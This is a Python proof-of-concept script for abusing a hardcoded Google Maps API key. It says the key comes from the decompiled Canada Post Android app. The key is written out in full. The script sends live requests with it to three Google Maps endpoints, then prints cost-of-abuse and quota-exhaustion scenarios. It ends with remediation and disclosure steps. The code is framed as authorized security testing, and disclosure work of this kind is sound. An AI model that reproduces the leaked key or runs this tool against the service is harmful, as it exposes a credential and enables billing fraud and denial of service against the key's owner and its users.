#!/usr/bin/env python3
"""
POC: Google Maps API Key Abuse - Canada Post App
=================================================

Tests if the hardcoded Google API key can be abused externally.

EXTRACTED CREDENTIAL:
    API Key: AIzaSyA6pUGegwhkDQizhmqPt6VZhFfYdHx8hmw
    Source: cpc/ca/canadapost/core/data/addresscomplete/IGooglePlaceApi.java:28
    
ETHICAL USE ONLY - For authorized security testing
"""

import requests
import json
import sys
from datetime import datetime

# Hardcoded API key extracted from decompiled APK
GOOGLE_API_KEY = "AIzaSyA6pUGegwhkDQizhmqPt6VZhFfYdHx8hmw"

# API endpoints
PLACES_API_BASE = "https://maps.googleapis.com/maps/api"
FIND_PLACE_ENDPOINT = f"{PLACES_API_BASE}/place/findplacefromtext/json"
DETAILS_ENDPOINT = f"{PLACES_API_BASE}/place/details/json"
GEOCODE_ENDPOINT = f"{PLACES_API_BASE}/geocode/json"

def print_banner():
    """Print test banner"""
    print("=" * 80)
    print("🔬 POC: GOOGLE MAPS API KEY ABUSE TEST")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"API Key: {GOOGLE_API_KEY[:30]}...")
    print(f"Source: Canada Post Mobile App (Decompiled)")
    print("=" * 80)
    print()

def test_find_place():
    """
    Test 1: Find Place from Text
    This is the exact endpoint used in the app
    """
    print("[TEST 1] Find Place from Text API")
    print("-" * 80)
    
    test_query = "CN Tower Toronto"
    
    params = {
        "input": test_query,
        "inputtype": "textquery",
        "fields": "formatted_address,name,geometry,place_id",
        "key": GOOGLE_API_KEY
    }
    
    print(f"📍 Query: {test_query}")
    print(f"🔗 URL: {FIND_PLACE_ENDPOINT}")
    print(f"📋 Request Parameters:")
    for k, v in params.items():
        if k == "key":
            print(f"   {k}: {v[:30]}...")
        else:
            print(f"   {k}: {v}")
    print()
    
    try:
        print("⏳ Sending request...")
        response = requests.get(FIND_PLACE_ENDPOINT, params=params, timeout=10)
        
        print(f"📊 Response Status: {response.status_code}")
        print(f"📏 Response Size: {len(response.content)} bytes")
        print()
        
        if response.status_code == 200:
            data = response.json()
            
            print("✅ API KEY WORKS - REQUEST SUCCESSFUL!")
            print()
            print("📦 Response Data:")
            print(json.dumps(data, indent=2))
            print()
            
            if data.get("status") == "OK":
                print("🎯 Result: API returned valid data")
                if "candidates" in data and len(data["candidates"]) > 0:
                    place = data["candidates"][0]
                    print(f"   Name: {place.get('name', 'N/A')}")
                    print(f"   Address: {place.get('formatted_address', 'N/A')}")
                    print(f"   Place ID: {place.get('place_id', 'N/A')}")
                    
                print()
                print("⚠️  SECURITY IMPACT:")
                print("   • API key is NOT restricted by IP address")
                print("   • API key is NOT restricted to app bundle ID")
                print("   • Anyone can use this key for unlimited requests")
                print("   • Cost per 1,000 requests: $17 USD")
                print("   • Potential for significant financial abuse")
                
                return True
            else:
                print(f"⚠️  API returned status: {data.get('status')}")
                print(f"   Error: {data.get('error_message', 'Unknown error')}")
                
                if data.get("status") == "REQUEST_DENIED":
                    print()
                    print("✅ GOOD NEWS: API key appears to have restrictions")
                    print("   The key may be restricted by:")
                    print("   • Application (Android package name)")
                    print("   • IP address")
                    print("   • Referrer")
                
                return False
        else:
            print(f"❌ REQUEST FAILED: HTTP {response.status_code}")
            print(f"Response: {response.text}")
            return False
            
    except requests.exceptions.Timeout:
        print("❌ REQUEST TIMEOUT - Check network connectivity")
        return False
    except requests.exceptions.RequestException as e:
        print(f"❌ REQUEST ERROR: {str(e)}")
        return False
    except Exception as e:
        print(f"❌ UNEXPECTED ERROR: {str(e)}")
        return False

def test_geocoding():
    """
    Test 2: Geocoding API
    Tests if key works for other Google Maps APIs
    """
    print("\n")
    print("[TEST 2] Geocoding API")
    print("-" * 80)
    
    test_address = "1 Toronto St, Toronto, ON M5C 2W4, Canada"
    
    params = {
        "address": test_address,
        "key": GOOGLE_API_KEY
    }
    
    print(f"📍 Address: {test_address}")
    print(f"🔗 URL: {GEOCODE_ENDPOINT}")
    print()
    
    try:
        print("⏳ Sending request...")
        response = requests.get(GEOCODE_ENDPOINT, params=params, timeout=10)
        
        print(f"📊 Response Status: {response.status_code}")
        print()
        
        if response.status_code == 200:
            data = response.json()
            
            if data.get("status") == "OK":
                print("✅ GEOCODING API ALSO WORKS!")
                print()
                print("📦 Response Data:")
                print(json.dumps(data, indent=2)[:500] + "...")
                print()
                
                print("⚠️  SECURITY IMPACT:")
                print("   • API key works for MULTIPLE Google APIs")
                print("   • Not restricted to just Places API")
                print("   • Broader attack surface for abuse")
                
                return True
            else:
                print(f"⚠️  Geocoding API Status: {data.get('status')}")
                if data.get("status") == "REQUEST_DENIED":
                    print("   ✅ This API is restricted (good)")
                return False
        else:
            print(f"❌ REQUEST FAILED: HTTP {response.status_code}")
            return False
            
    except Exception as e:
        print(f"❌ ERROR: {str(e)}")
        return False

def test_place_details():
    """
    Test 3: Place Details API
    Tests if key works for place details lookups
    """
    print("\n")
    print("[TEST 3] Place Details API")
    print("-" * 80)
    
    # Using a known place_id for CN Tower
    test_place_id = "ChIJy9e9AJw0K4gRkRE0z1Pgdxc"
    
    params = {
        "place_id": test_place_id,
        "fields": "name,formatted_address,rating,opening_hours",
        "key": GOOGLE_API_KEY
    }
    
    print(f"📍 Place ID: {test_place_id}")
    print(f"🔗 URL: {DETAILS_ENDPOINT}")
    print()
    
    try:
        print("⏳ Sending request...")
        response = requests.get(DETAILS_ENDPOINT, params=params, timeout=10)
        
        print(f"📊 Response Status: {response.status_code}")
        print()
        
        if response.status_code == 200:
            data = response.json()
            
            if data.get("status") == "OK":
                print("✅ PLACE DETAILS API ALSO WORKS!")
                print()
                print("📦 Response Data:")
                print(json.dumps(data, indent=2)[:500] + "...")
                return True
            else:
                print(f"⚠️  Status: {data.get('status')}")
                return False
        else:
            print(f"❌ REQUEST FAILED: HTTP {response.status_code}")
            return False
            
    except Exception as e:
        print(f"❌ ERROR: {str(e)}")
        return False

def calculate_cost_impact(successful_tests):
    """Calculate potential cost impact"""
    print("\n")
    print("=" * 80)
    print("💰 COST IMPACT ANALYSIS")
    print("=" * 80)
    
    if not any(successful_tests):
        print("✅ API key appears to be properly restricted.")
        print("   No financial risk identified.")
        return
    
    print("⚠️  API KEY IS EXPLOITABLE")
    print()
    
    # Google Maps pricing (as of 2024)
    pricing = {
        "Find Place from Text": 17.00,  # per 1,000 requests
        "Geocoding": 5.00,
        "Place Details": 17.00
    }
    
    print("📊 Google Maps API Pricing:")
    for api, cost in pricing.items():
        status = "✅ VULNERABLE" if successful_tests[list(pricing.keys()).index(api)] else "🔒 Protected"
        print(f"   {api}: ${cost:.2f} per 1,000 requests - {status}")
    
    print()
    print("💸 Attack Scenarios:")
    print()
    
    # Scenario 1: Moderate abuse
    print("   [Scenario 1] Moderate Abuse (10,000 requests/day)")
    daily_cost = (10 * pricing["Find Place from Text"])
    monthly_cost = daily_cost * 30
    print(f"      Daily cost: ${daily_cost:.2f}")
    print(f"      Monthly cost: ${monthly_cost:,.2f}")
    
    print()
    
    # Scenario 2: Heavy abuse
    print("   [Scenario 2] Heavy Abuse (100,000 requests/day)")
    daily_cost = (100 * pricing["Find Place from Text"])
    monthly_cost = daily_cost * 30
    print(f"      Daily cost: ${daily_cost:.2f}")
    print(f"      Monthly cost: ${monthly_cost:,.2f}")
    
    print()
    
    # Scenario 3: Quota exhaustion
    print("   [Scenario 3] Quota Exhaustion Attack")
    print("      • Attacker makes rapid requests to exhaust daily quota")
    print("      • Real app users cannot use API functionality")
    print("      • Denial of Service for legitimate users")
    print("      • Financial cost: Variable (depends on quota)")
    
    print()
    print("🎯 RECOMMENDATION:")
    print("   1. Immediately revoke this API key")
    print("   2. Generate new key with restrictions:")
    print("      • Application restriction: ca.canadapost.android")
    print("      • API restrictions: Only enable required APIs")
    print("      • Quotas: Set reasonable daily limits")
    print("   3. Monitor API usage for anomalies")

def generate_report(results):
    """Generate test report"""
    print("\n")
    print("=" * 80)
    print("📋 TEST SUMMARY REPORT")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"API Key Tested: {GOOGLE_API_KEY[:30]}...")
    print()
    
    print("Test Results:")
    tests = [
        ("Find Place from Text API", results[0]),
        ("Geocoding API", results[1]),
        ("Place Details API", results[2])
    ]
    
    for test_name, result in tests:
        status = "✅ VULNERABLE" if result else "❌ Failed/Restricted"
        print(f"   {test_name}: {status}")
    
    print()
    
    vulnerability_count = sum(results)
    if vulnerability_count > 0:
        print(f"🔴 FINDING: {vulnerability_count}/3 APIs are exploitable")
        print()
        print("SEVERITY: CRITICAL")
        print("CWE-798: Use of Hard-coded Credentials")
        print()
        print("IMPACT:")
        print("   • Financial: Unlimited API usage at Canada Post's expense")
        print("   • Availability: Quota exhaustion DoS attacks")
        print("   • Reputation: Public disclosure of poor security practices")
    else:
        print("✅ API key appears properly restricted")
        print()
        print("SEVERITY: LOW (Key exposed but restricted)")
        print("Note: Key should still not be hardcoded in app")
    
    print()
    print("=" * 80)

def main():
    """Main test execution"""
    print_banner()
    
    print("⚠️  ETHICAL TESTING NOTICE")
    print("   This POC is for authorized security testing only.")
    print("   Ensure you have proper authorization before testing.")
    print()
    
    input("Press ENTER to continue with testing (Ctrl+C to abort)...")
    print()
    
    # Run tests
    results = []
    
    # Test 1: Find Place (the actual API used in app)
    results.append(test_find_place())
    
    # Test 2: Geocoding (check if key works for other APIs)
    results.append(test_geocoding())
    
    # Test 3: Place Details (check scope of access)
    results.append(test_place_details())
    
    # Calculate cost impact
    calculate_cost_impact(results)
    
    # Generate report
    generate_report(results)
    
    print("\n✅ Testing complete!")
    print()
    print("📝 NEXT STEPS:")
    print("   1. Document findings in security report")
    print("   2. Contact Canada Post security team")
    print("   3. Provide remediation recommendations")
    print("   4. Follow responsible disclosure timeline")
    print()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n❌ Testing interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n\n❌ Fatal error: {str(e)}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
